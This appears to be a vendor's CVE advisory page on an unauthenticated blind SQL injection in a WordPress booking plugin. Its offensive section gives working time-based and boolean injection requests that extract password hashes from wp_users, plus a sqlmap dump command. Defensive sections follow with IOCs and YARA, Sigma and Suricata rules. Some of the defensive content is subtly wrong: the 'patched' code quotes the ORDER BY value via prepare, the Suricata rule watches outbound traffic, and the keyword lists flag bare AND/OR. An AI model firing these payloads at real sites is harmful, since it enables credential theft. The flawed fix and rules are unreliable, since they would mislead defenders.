CVE-2025-12166
Executive Summary
CVE-2025-12166 is a critical blind SQL Injection vulnerability discovered in the WordPress plugin "Appointment Booking Calendar — Simply Schedule Appointments Booking Plugin" (versions up to and including 1.6.9.9). The flaw resides in insufficient escaping of user-supplied parameters (order and append_where_sql) and lack of proper SQL query preparation. This allows unauthenticated attackers to inject arbitrary SQL queries into existing database queries, potentially leading to the extraction of sensitive information such as user credentials, session tokens, and other confidential data stored in the WordPress database.
The vulnerability is classified as high severity (CVSS 7.5) due to its network-based attack vector, low complexity, and no requirement for authentication. Despite a low EPSS score (0.0%), the lack of a known patch and the widespread use of WordPress plugins make this a significant supply chain risk for organizations relying on this plugin.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Organizations using this plugin are exposed to a supply chain risk, as the vulnerable code is embedded within their WordPress installation. The absence of a patch from the vendor (Simply Schedule Appointments) means that affected sites remain vulnerable until a fix is released or the plugin is removed. Security teams should inventory all WordPress installations and verify the version of this plugin, treating it as a critical dependency.
CVSS Breakdown & Threat Level
- Attack Vector (AV): Network (N) – The vulnerability can be exploited remotely over the network.
- Attack Complexity (AC): Low (L) – No special conditions or complex attack sequences are required.
- Privileges Required (PR): None (N) – No authentication is needed to exploit the vulnerability.
- User Interaction (UI): None (N) – The victim does not need to perform any action.
- Scope (S): Unchanged (U) – The exploit cannot affect resources beyond the vulnerable component.
- Confidentiality (C): High (H) – Successful exploitation can lead to complete disclosure of database contents.
- Integrity (I): None (N) – The attacker cannot modify data.
- Availability (A): None (N) – The attack does not affect system availability.
CVSS Score: 7.5 (High)
Threat Level: High. The combination of remote, unauthenticated access with low complexity makes this a prime target for automated scanning and exploitation.
Deep Dive & Mechanics
The vulnerability is a classic blind SQL injection in the WordPress plugin's query building logic. The plugin fails to properly sanitize the order and append_where_sql parameters before incorporating them into SQL queries. Specifically:
- Insufficient Escaping: The plugin uses user-supplied values directly in SQL statements without adequate escaping or parameterization.
- Lack of Prepared Statements: The existing SQL query is built using string concatenation rather than prepared statements, allowing an attacker to break out of the intended query structure.
- Blind Injection: The attacker cannot see direct error output, but can infer information by observing response times or boolean-based responses (e.g., different page content or delays).
The injection occurs in the context of the WordPress database, which typically contains wp_users, wp_usermeta, wp_options, and other tables. An attacker can extract data by using AND, OR, UNION, or time-based payloads (e.g., SLEEP()).
Example vulnerable parameter:/wp-admin/admin-ajax.php?action=ssa_appointments&order=id DESC, (SELECT IF(1=1,SLEEP(5),0))
This would cause a 5-second delay if the condition is true, confirming the injection point.
Vulnerable vs. Patched Code
Since no patch is available, we can only describe the vulnerable code pattern and the expected fix.
Vulnerable Code (Conceptual):
$order = $_GET['order'];
$sql = "SELECT * FROM {$wpdb->prefix}ssa_appointments ORDER BY " . $order;
$results = $wpdb->get_results($sql);
Expected Patched Code:
$allowed_order = array('id', 'date', 'status');
$order = in_array($_GET['order'], $allowed_order) ? $_GET['order'] : 'id';
$sql = $wpdb->prepare("SELECT * FROM {$wpdb->prefix}ssa_appointments ORDER BY %s", $order);
$results = $wpdb->get_results($sql);
The fix should:
- Whitelist allowed values for
orderandappend_where_sql. - Use
$wpdb->prepare()for parameterized queries. - Escape or reject any input that does not match expected patterns.
Exploitation & Lab Setup
Red Team (Offensive)
Prerequisites:
- A WordPress instance with the vulnerable plugin (version <= 1.6.9.9) installed and activated.
- Knowledge of the WordPress admin-ajax endpoint.
Exploitation Steps:
Identify the vulnerable endpoint:
The plugin uses AJAX actions likessa_appointments. The vulnerable parameters areorderandappend_where_sql.Craft a blind SQL injection payload:
Use boolean-based or time-based techniques to extract data.Time-based payload example:
GET /wp-admin/admin-ajax.php?action=ssa_appointments&order=id DESC, (SELECT IF(SUBSTRING(user_pass,1,1)=CHAR(36),SLEEP(5),0) FROM wp_users LIMIT 1) HTTP/1.1 Host: target-site.comBoolean-based payload example:
GET /wp-admin/admin-ajax.php?action=ssa_appointments&order=id DESC&append_where_sql=AND 1=1 HTTP/1.1 Host: target-site.comAutomate data extraction:
Use tools likesqlmapto automate the extraction:sqlmap -u "http://target-site.com/wp-admin/admin-ajax.php?action=ssa_appointments&order=id" --data="order=id" --technique=T --dbms=mysql --batch --dumpExtract sensitive data:
Focus onwp_userstable for usernames and password hashes, andwp_optionsfor configuration secrets.
Blue Team (Defensive)
Detection and Response:
Monitor for suspicious AJAX requests:
Look for requests to/wp-admin/admin-ajax.phpwithaction=ssa_appointmentsand unusualorderorappend_where_sqlparameters.Analyze SQL query logs:
Enable MySQL query logging and look for queries containingSLEEP(),BENCHMARK(), or subqueries in theORDER BYclause.Check for time-based anomalies:
Monitor response times for AJAX endpoints. A sudden increase in response time (e.g., >5 seconds) may indicate time-based injection attempts.Implement Web Application Firewall (WAF) rules:
Block requests containing SQL keywords in theorderorappend_where_sqlparameters.
Indicators of Compromise (IOCs)
Network IOCs:
- HTTP requests to
/wp-admin/admin-ajax.phpwithaction=ssa_appointmentsand suspiciousorderorappend_where_sqlparameters. - Parameters containing SQL keywords like
SLEEP,BENCHMARK,UNION,SELECT,FROM,WHERE,AND,OR. - Unusually long response times (e.g., >5 seconds) for AJAX requests.
- HTTP requests to
Host IOCs:
- Presence of SQL injection payloads in web server access logs.
- Unauthorized database queries in MySQL slow query log.
- Modified or extracted data from
wp_usersorwp_optionstables.
File IOCs:
- Plugin file:
/wp-content/plugins/simply-schedule-appointments/(version <= 1.6.9.9). - Suspicious PHP files uploaded via the vulnerability (if combined with other exploits).
- Plugin file:
Detection Engineering
YARA Rule
rule CVE_2025_12166_WordPress_SQLi {
meta:
description = "Detects SQL injection attempts targeting CVE-2025-12166 in Simply Schedule Appointments plugin"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-12166"
severity = "high"
strings:
$sqli_pattern1 = /order\s*=\s*.*(?:SLEEP|BENCHMARK|UNION|SELECT|FROM|WHERE|AND|OR)/i
$sqli_pattern2 = /append_where_sql\s*=\s*.*(?:SLEEP|BENCHMARK|UNION|SELECT|FROM|WHERE|AND|OR)/i
$plugin_path = /simply-schedule-appointments/
condition:
any of ($sqli_pattern*) and $plugin_path
}
Sigma Rule
title: CVE-2025-12166 - Blind SQL Injection in Simply Schedule Appointments Plugin
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects SQL injection attempts via order or append_where_sql parameters in the Simply Schedule Appointments WordPress plugin.
author: Valters IT
date: 2025-04-10
references:
- https://nvd.nist.gov/vuln/detail/CVE-2025-12166
logsource:
category: webserver
product: apache
service: access_combined
detection:
selection:
cs-uri-query|contains:
- 'action=ssa_appointments'
- 'order='
- 'append_where_sql='
keywords:
- 'SLEEP'
- 'BENCHMARK'
- 'UNION'
- 'SELECT'
- 'FROM'
- 'WHERE'
- 'AND'
- 'OR'
condition: selection and keywords
falsepositives:
- Legitimate use of the plugin with normal parameters (rare)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (
msg:"CVE-2025-12166 - Blind SQL Injection in Simply Schedule Appointments Plugin";
flow:to_server,established;
content:"/wp-admin/admin-ajax.php";
http_uri;
content:"action=ssa_appointments";
http_uri;
pcre:"/(order|append_where_sql)=.*(SLEEP|BENCHMARK|UNION|SELECT|FROM|WHERE|AND|OR)/i";
classtype:web-application-attack;
sid:10000001;
rev:1;
priority:1;
)
Remediation & Mitigation
Immediate Actions:
- Disable the plugin until a patch is released by the vendor.
- Implement a Web Application Firewall (WAF) rule to block SQL injection patterns in the
orderandappend_where_sqlparameters. - Monitor logs for exploitation attempts using the IOCs provided.
Long-term Fixes:
- Apply vendor patch when available (check the WordPress plugin repository for updates).
- Upgrade to a patched version (currently none, but monitor for version > 1.6.9.9).
- Conduct a security audit of all WordPress plugins and remove unused or vulnerable ones.
- Implement input validation and parameterized queries in custom code.
Workaround (if plugin cannot be disabled):
- Use
.htaccessto block direct access to the vulnerable AJAX endpoint:<IfModule mod_rewrite.c> RewriteEngine On RewriteCond %{QUERY_STRING} (order|append_where_sql)=.*(SLEEP|BENCHMARK|UNION|SELECT|FROM|WHERE|AND|OR) [NC] RewriteRule ^wp-admin/admin-ajax.php - [F,L] </IfModule>
Valters IT
Securing Digital Frontiers
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.